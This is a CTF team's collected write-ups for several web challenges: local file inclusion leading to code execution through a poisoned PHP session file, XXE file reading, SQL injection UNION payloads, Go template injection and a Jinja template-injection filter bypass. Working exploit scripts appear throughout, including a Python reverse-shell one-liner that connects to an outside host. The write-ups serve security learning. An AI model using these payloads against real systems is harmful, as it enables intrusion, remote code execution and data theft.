Writeup-vault
We store here all writeups we publish to ctftime, incase if shit hits the fan and we would lose all out writeups :D
Feel free to leave a star on this repository :)
idek 2021
MetaCTF-Cybergames 2021
We got the places 17 Students, and International 32.
Custom Blog
We got greeted with this challenge server http://host.cg21.metaproblems.com:4130/ which shows multiple blog entries which seems to be loaded as a file over include or require.
To test this we tried to include a familiar file from the host with path traversal.
http://host.cg21.metaproblems.com:4130/post.php?post=../etc/passwd
http://host.cg21.metaproblems.com:4130/post.php?post=../../etc/passwd
http://host.cg21.metaproblems.com:4130/post.php?post=../../../etc/passwd
http://host.cg21.metaproblems.com:4130/post.php?post=../../../../etc/passwd
And we found the content of the /etc/passwd file
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flag:x:999:999::/home/flag:/usr/sbin/nologin
That was quite easy, so we assumed that we can easily execute php code with the common practices.
So we tried:
http://host.cg21.metaproblems.com:4130/post.php?post=../../../../proc/self/environ
Which did not return anything, so we tried log poisoning but where unable to find or read anny meaningful log which we could influence.
We also knew that we could not abuse the wrapper due the prepending of the posts/
in the post syntax. (Known from the source)
<?php
session_start();
if (isset($_GET['post']) && file_exists($post = 'posts/' . $_GET['post'])) {
$ok = true;
} else {
$ok = false;
http_response_code(404);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?= htmlentities($_GET['post']) ?></title>
<link rel="stylesheet" href="/style.css">
<?php include 'theme.php'; ?>
</head>
<body>
<?php
if ($ok) {
echo '<h1>' . htmlentities($_GET['post']) . '</h1><hr><div class="post">';
include $post;
echo '</div>';
} else {
echo '<h1>post not found :(</h1><hr>';
}
?>
<a href="/">home</a>
</body>
</html>
So we were pretty stuck until we noticed that there is a session available in which we can add data.
So we injected some php code in the theme
session variable. That could be done over:
http://host.cg21.metaproblems.com:4130/set.php?theme=<?php phpinfo();?>
This session variable is saved in the user session, per default the php session handler is file based,
so we tried to locate the directory where they are located.
Its achievable because we know the schema which the file is created: /xxx/xxx/sess_{SESSIONID}
the session id can be taken from the php session used from the client which fired the above request.
and the xxx directories need to be found.
We found our directory under /tmp/ so we went further to create a small exploit script which could run arbitary code:
import base64
import requests
def stage_one():
se = requests.session()
se.get(
"http://host.cg21.metaproblems.com:4130/set.php?theme=<?php set_time_limit(0);ini_set('max_execution_time', 0);error_reporting(E_ALL); print($_POST['code']);print(eval($_POST['code']));exit(); ?>")
return se
def stage_two(s, cmd):
sessionid = s.cookies.get("PHPSESSID")
res = s.post(
"http://host.cg21.metaproblems.com:4130/post.php?post=../../../../tmp/sess_" + sessionid,
data={"code": "print(shell_exec(base64_decode('" + str(base64.b64encode(cmd.encode("utf-8")), "utf-8") + "')));"})
print(res.content.decode())
pass
s = stage_one()
stage_two(s, "ls -all")
Now where we can execute commands we can run any commands. We found setuid binary called /flag/flagreader by uploading linpeas to the server.
So we could just run
stage_two(s, "/flag/flagreader")
And got the flag
MetaCTF{wh4t??lfi_1s_ev0lv1ng??}
Leaky Logs
This challenge was based around an XML Injection.
We first analyzed the source and found a weird js code to send xml data to the server at this url: http://host1.metaproblems.com:4920/events
function keyup(e) {
if (e.keyCode === 13) {
search(document.getElementById("searchbar").value);
}
}
function search(query) {
console.log(query);
let doc = document.implementation.createDocument("", "", null);
let elem = doc.createElement("params");
let queryparam = doc.createElement("query");
queryparam.innerHTML = query;
elem.appendChild(queryparam);
doc.appendChild(elem);
const serializer = new XMLSerializer();
const xmlStr = serializer.serializeToString(doc);
console.log(xmlStr);
fetch("/api/event_log", {
method: "POST",
headers: {
'Content-Type': 'text/xml'
},
body: xmlStr
})
.then(data => data.text())
.then(str => new window.DOMParser().parseFromString(str, "text/xml"))
.then(data => {
const tableBody = document.getElementById("table-body");
while (tableBody.firstChild) {
tableBody.firstChild.remove()
}
for (e of data.getElementsByTagName("event")) {
const row = tableBody.insertRow(-1);
row.insertCell(-1).innerHTML = e.getAttribute("date");
row.insertCell(-1).innerHTML = e.innerHTML;
let symbol = "cart";
if (e.innerHTML.includes("finished")) {
symbol = "user";
} else if (e.innerHTML.includes("resumed")) {
symbol = "cog";
}
row.insertCell(-1).innerHTML = "<span uk-icon=\"" + symbol + "\"></span>";
}
});
}
search("");
So we assumed that we can extract files over a XXE and crafted a small exploit script
import requests
def exploit():
res = requests.post("http://host1.metaproblems.com:4920/api/event_log",
data="<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><params><query>&xxe;</query></params>",
headers={"Content-Type": "text/xml"})
print(res.content.decode())
pass
exploit()
And we got a response of the passwd file. Now we need find and exfiltrate the flag. We found it at the root path at /flag with the content:
MetaCTF{el3m3nt4l_3xtern4lit1e5}
Under Inspection
This Challenge was quite easy. The Target was a login panel which validated a username and password.
This is the source:
<!DOCTYPE html>
<html>
<head>
<title>Login Form</title>
<link rel="stylesheet" type="text/css" href="style.css">
<script>
function loginSubmission() {
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
var result = document.getElementById("result");
var accounts = [
{user: "Admin", pwd: "MetaCTF{super_secure_password}"},
{user: "Bumblebee", pwd: "MetaCTF{sting_like_a_bee}"},
{user: "Starscream", pwd: "MetaCTF{the_best_leader_of_the_decepticons}"},
{user: "Jazz", pwd: "MetaCTF{do_it_with_style_or_dont_do_it_at_all}"},
{user: "Megatron", pwd: "MetaCTF{peace_through_tyranny}"},
];
for(var a in accounts) {
if(accounts[a].user == username && accounts[a].pwd == password) {
if(username == "Jazz") {
result.innerHTML = "Welcome, Jazz. The flag is " + password;
} else {
result.innerHTML = "Welcome, " + username + ".";
}
return false;
}
}
result.innerHTML = "Login Failed. Please try again";
return false;
}
</script>
</head>
<body>
<h2>Login Page</h2><br>
<section class="container">
<div class="login">
<form name="form" onsubmit="return loginSubmission();">
<label><b>Please enter your username and password</b><br><br>
</label>
<input type="text" id="username" placeholder="Username">
<br><br>
<input type="password" id="password" placeholder="Password">
<br><br>
<input type="submit" value="Submit">
</form>
<p id="result"></p>
</div>
</body>
</html>
When we look at the check for the username we can see the password for the user Jazz is also the flag. So we just needed to look at the dictionary, and we found our flag:
MetaCTF{do_it_with_style_or_dont_do_it_at_all}
Yummy Vegetables
This Challenges was based on a simple SQL injection.
First we looked at the interaction of the web page and see directly that there is a query made over a custom http Query. We can simulate such a query with this curl script:
curl http://host.cg21.metaproblems.com:4010/search -X SEARCH --header "Content-Type: application/json" --data '{"query":"test"}'
With the given sourcecode of the index.js:
const express = require('express');
const Ajv = require('ajv');
const sqlite = require('better-sqlite3');
const sleep = (ms) => new Promise((res) => { setTimeout(res, ms) })
// set up express
const app = express();
app.use(express.json());
app.use(express.static('public'));
// ajv request validator
const ajv = new Ajv();
const schema = {
type: 'object',
properties: {
query: { type: 'string' },
},
required: ['query'],
additionalProperties: false
};
const validate = ajv.compile(schema);
// database
const db = sqlite('db.sqlite3');
// search route
app.search('/search', async (req, res) => {
if (!validate(req.body)) {
return res.json({
success: false,
msg: 'Invalid search query',
results: [],
});
}
await sleep(5000); // the database is slow :p
const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;
let results;
try {
results = db.prepare(query).all();
} catch {
return res.json({
success: false,
msg: 'Something went wrong :(',
results: [],
})
}
return res.json({
success: true,
msg: `${results.length} result(s)`,
results,
});
});
// start server
app.listen(3000, () => {
console.log('Server started');
});
We can also verify the SQLi vector at the line:
const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;
With this given SQL injection we can now check the column count:
%' order by 5; --
%' order by 4; --
%' order by 3; --
So we know that we got 3 columns so lets create a test:
%' AND 1=0 UNION SELECT 1,name,3 FROM sqlite_master; --
And we get a list of tables in the database. We can assume that our table the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5
holds our flag, so we tried to get the column flag of that table.
%' and 1=0 UNION SELECT 1,flag,2 FROM the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5; --
And we got the flag:
MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}
wectf 2022
Request Bin
The challenge starts with a simple page where you can insert your custom format for your access.log output. Each time you submit a format template, it will generate a custom endpoint for your request where you can see your format in action.
Such an endpoint looks like this: /logs/jscEcebayJ
The exploit exists in the Golang templating, which results in a classic SSTI. It is not as powerful as a python-flask SSTI but it can be used if the right variables are passed to our template.
A normal template looks like this in golang:
data := struct {
Title string
}{"test title"}
et, err := template.New("example").Parse("<h1>{{ .Title }}</h1>")
if err != nil {
panic(err)
}
err = et.Execute(os.Stdout, data)
Which will print <h1>test title</h1>
. So far nothing new, we can access variables which we pass to the templating mechanism.
But the go templates can go even further, it's possible to call public functions of the passed variable struct.
A public function can be detected by the first character in the name of the function. If it's uppercase, it's public. If it's lowercase, it's private. A function for a struct can be found in the following format:
type Example struct {
Title string
}
func (rp *Example) TestPublicFunction() {
}
func (rp *Example) testPrivateFunction() {
}
But there are some limitations to the calling of such functions. The function needs to fit specific criteria. It needs to return one value and an optional error. Example, what is possible:
type Example struct {
Title string
}
func (rp *Example) TestPublicFunction() { // Not Possible
...
}
func (rp *Example) TestPublicFunction() error { // Possible
...
}
func (rp *Example) TestPublicFunction() int { // Possible
...
}
func (rp *Example) TestPublicFunction() (int, error) { // Possible
...
}
func (rp *Example) TestPublicFunction() (int, int, error) { // Not Possible
...
}
After it is clear what is in the scope, we need to find out what object/struct is passed to the templating. We found out to run it locally and try a variable argument which can't exist.
{{ .PwnProphecy1234 }}
And we will see in our logs that we got the following error:
accesslog: template: :1:3: executing "" at <.PwnProphecy1234>: can't evaluate field PwnProphecy1234 in type *accesslog.Log
So we know that we have the struct accesslog.Log
in front of us.
Now let's see what variables and functions are around.
Variables:
Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
Now time.Time `json:"-" yaml:"-" toml:"-"`
TimeFormat string `json:"-" yaml:"-" toml:"-"`
Timestamp int64 `json:"timestamp" csv:"timestamp"`
Latency time.Duration `json:"latency" csv:"latency"`
Code int `json:"code" csv:"code"`
Method string `json:"method" csv:"method"`
Path string `json:"path" csv:"path"`
IP string `json:"ip,omitempty" csv:"ip,omitempty"`
Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
Request string `json:"request,omitempty" csv:"request,omitempty"`
Response string `json:"response,omitempty" csv:"response,omitempty"`
BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`
BytesSent int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`
Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
Functions:
func (l *Log) Clone() Log
func (l *Log) RequestValuesLine() string
func (l *Log) BytesReceivedLine() string
func (l *Log) BytesSentLine() string
After a brief experiment, we can see that most variable types have no effect; strings, ints, and so on. The list of functions is also not useful, so we concentrate on the variables and their functions.
After a reduction of the variables, we have the following left:
Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
Now the time-consuming task was to iterate over the types and find out what functions and variables they contained. To reduce the size of the writeup, we can say we reduced the possibility of an attack to the following struct:
Ctx *context.Context
This variable/struct contains a function:
func (ctx *Context) SendFile(src string, destName string) error
which is used to send a file from the server to the client. This can be used to extract the flag.
We can build it in our Golang template once we know the entire call path Ctx-> SendFile
.
{{ .Ctx.SendFile "/flag" "result.txt"}}
When we put that into the form and submit it, we get a download of /flag which contains the flag according to the dockerimage:
<nil>we{f3ae92c8-0d8d-4072-ae37-ca3717842238@N3verTh0ughtG0HA3Tmp1Injec=t19n}
imaginaryctf 2022
Minigolf
Description
Too much Flask last year... let's bring it back again.
Code
from flask import Flask, render_template_string, request, Response
import html
app = Flask(__name__)
blacklist = ["{{", "}}", "[", "]", "_"]
@app.route('/', methods=['GET'])
def home():
print(request.args)
if "txt" in request.args.keys():
txt = html.escape(request.args["txt"])
if any([n in txt for n in blacklist]):
return "Not allowed."
if len(txt) <= 69:
return render_template_string(txt)
else:
return "Too long."
return Response(open(__file__).read(), mimetype='text/plain')
app.run('0.0.0.0', 1337)
Analysis
The vulnerability here is a jinja template injection in the flask server. But there are a few restrictions which makes the exploiting harder.
- We can't use the typical {{ }} Syntax and therefore can't print variables.
- We dont have brackets which are used in most jinja exploits to get attributes from values to then find usable classes/functions.
- We dont have underscore and therefore we cant simply use class for example.
- due to the usage of
html.escape
we can't use any strings like 'test' or "test" or `test` - We got a length limit of 69 chars which is quite small.
Solutions:
First problem
For the first problem we can use other templating functionality. Like the {% %} Syntax where we can set variables or compare results with if, we could also run loops and so on.
Second problem
The second restriction can be avoided with the jinja filter attr
which can be used like this:
{%set x=variable|attr('subvariable')%}
But the usage of the attr will greatly increase the size of the payload.
Third problem
The third one can be skipped if we don't ship the full payload in the txt field. We can access the variable request.args.xxx
where xxx
correlates to the given http get field which is applied in the request.
So we can do stuff like this:
http://localhost/?txt={%if request.args.x==request.args.y%}see{%endif%}&x=1&y=2
and we will see that if we both set x
and y
to an equal value we can see the text see
Fourth problem
The fourth problem is limiting but as long as we load all needed parameters from the args we will not have any problems with it.
Sixth problem
This is the last problem which needs to be addressed, but can only be fixed if we know how long our payload is with all given restrictions.
Exploit
The first exploit can be crafted quite fast with the given solutions above:
{%set x=request.args%}{%set x=(a|attr(x.a)).mro()|last|attr(x.b)()|attr(x.c)(254)(x.d,shell=True)%}
where we got these as url parameters: &a=__class__&b=__subclasses__&c=__getitem__&d=mkdir test
if we remove the length restriction for this small test we can see we bypassed all blacklists and our exploits works.
Note: that the id 254 must relate to the Popen class. You can find the index of this class by printing the subclasses or bruteforcing it until it works typical between 0 and 500 but depends on the installed modules and so on.
But how should we fix the issue with the length even with the usage of the request args we are far above the 69 chars. To be exact we are at 99 so 30 chars too much.
Now the real challenge kicked in, how to simplify the payload to fit the 69 chars? We tried long but did not succeed with any attempts. So I choose to investigate if we can store variables over the current request. That would enable us to partial submit data and then build up on them
And I found a possible storage, the variable config
does allow modification above the request.
This could be done over the function setdefault
which sets a key and a default value for that key.
Note: The function does not overwrite the key, so its a one trick on the selected key
This is how we can set variables:
{%set x=config.setdefault(request.args.x,request.args.y)%}
Http get fields: &x=testkey&y=testvalue
Now that we found a way to store variables we can focus on splitting our payload:
{%set x=request.args%}{%set x=(a|attr(x.a)).mro()|last|attr(x.b)()|attr(x.c)(254)(x.d,shell=True)%}
&a=__class__&b=__subclasses__&c=__getitem__&d=mkdir test
I came up with this parts which fit exact the 69 char limit:
first we simplify the args access
{%set x=config.setdefault(request.args.a,request.args)%}
This is done with the get fields: a=z&b=__class__&c=__subclasses__&d=__getitem__&y1=y1&y2=y2&y3=y3
the fields a, y1,y2,y3 are helper fields which will be used to set additional config variables.
now fetch from config and store __class__ in y1
{%set x=config%}{%set x=x.setdefault(x.z.y1,x|attr(x.z.b))%}
now fetch y1 from config and store last mro in y2
{%set x=config%}{%set x=x.setdefault(x.z.y2,x.y1.mro()|last)%}
now fetch y2 from config and store __subclasses__() in y3
{%set x=config%}{%set x=x.setdefault(x.z.y3,x.y2|attr(x.z.c)())%}
After these steps we have extended the config variable with a variable y3
which now holds all subclasses.
Now we can simply iterate over them
{%set x=config.y3|attr(x.z.d)(999)(request.args.s,shell=True)%}
This is done with the get fields: s=mkdir test
Note: change the index of Popen '999'
To make this process simpler and make the index of Popen guessable I created a simple script.
import requests
url = 'http://minigolf.chal.imaginaryctf.org/'
reverse_host = 'xx.xx.xx.xx'
reverse_port = '13337'
def exploit(command, char_cache='f', char_help='g'):
requests.get(url + '/', params={'txt': '{%set x=config.setdefault(request.args.a,request.args)%}',
'a': char_cache,
'b': '__class__',
'c': '__subclasses__',
'd': '__getitem__',
char_help + '1': char_help + '1',
char_help + '2': char_help + '2',
char_help + '3': char_help + '3'})
requests.get(url + '/', params={
'txt': '{%set x=config%}{%set x=x.setdefault(x.' + char_cache + '.' + char_help + '1,x|attr(x.' + char_cache + '.b))%}'})
requests.get(url + '/', params={
'txt': '{%set x=config%}{%set x=x.setdefault(x.' + char_cache + '.' + char_help + '2,x.' + char_help + '1.mro()|last)%}'})
requests.get(url + '/', params={
'txt': '{%set x=config%}{%set x=x.setdefault(x.' + char_cache + '.' + char_help + '3,x.' + char_help + '2|attr(x.' + char_cache + '.c)())%}'})
for i in range(1, 400):
result = requests.get(url + '/',
params={
'txt': '{%set x=config.' + char_help + '3|attr(config.' + char_cache + '.d)(' + str(
i) + ')(request.args.s,shell=True)%}',
's': command})
if 'Internal Server Error' not in result.content.decode():
print("last hit " + str(i))
reverse_shell = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + \
reverse_host + "\"," + reverse_port + \
"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
exploit(reverse_shell)
And we get a reverse shell to our defined server:
# ls -all
total 20
drwxr-xr-x 1 root root 4096 Jul 15 09:26 .
drwxr-xr-x 1 root root 4096 Jul 15 09:26 ..
-rw-r--r-- 1 root root 549 Jul 15 09:23 app.py
-rw-r--r-- 1 root root 29 Jun 30 05:41 flag.txt
-rwxr-xr-x 1 root root 41 Jul 15 09:25 run.sh
# cat flag.txt
ictf{whats_in_the_flask_tho}
So our flag is ictf{whats_in_the_flask_tho}
.
-> cli-ish 17.07.2022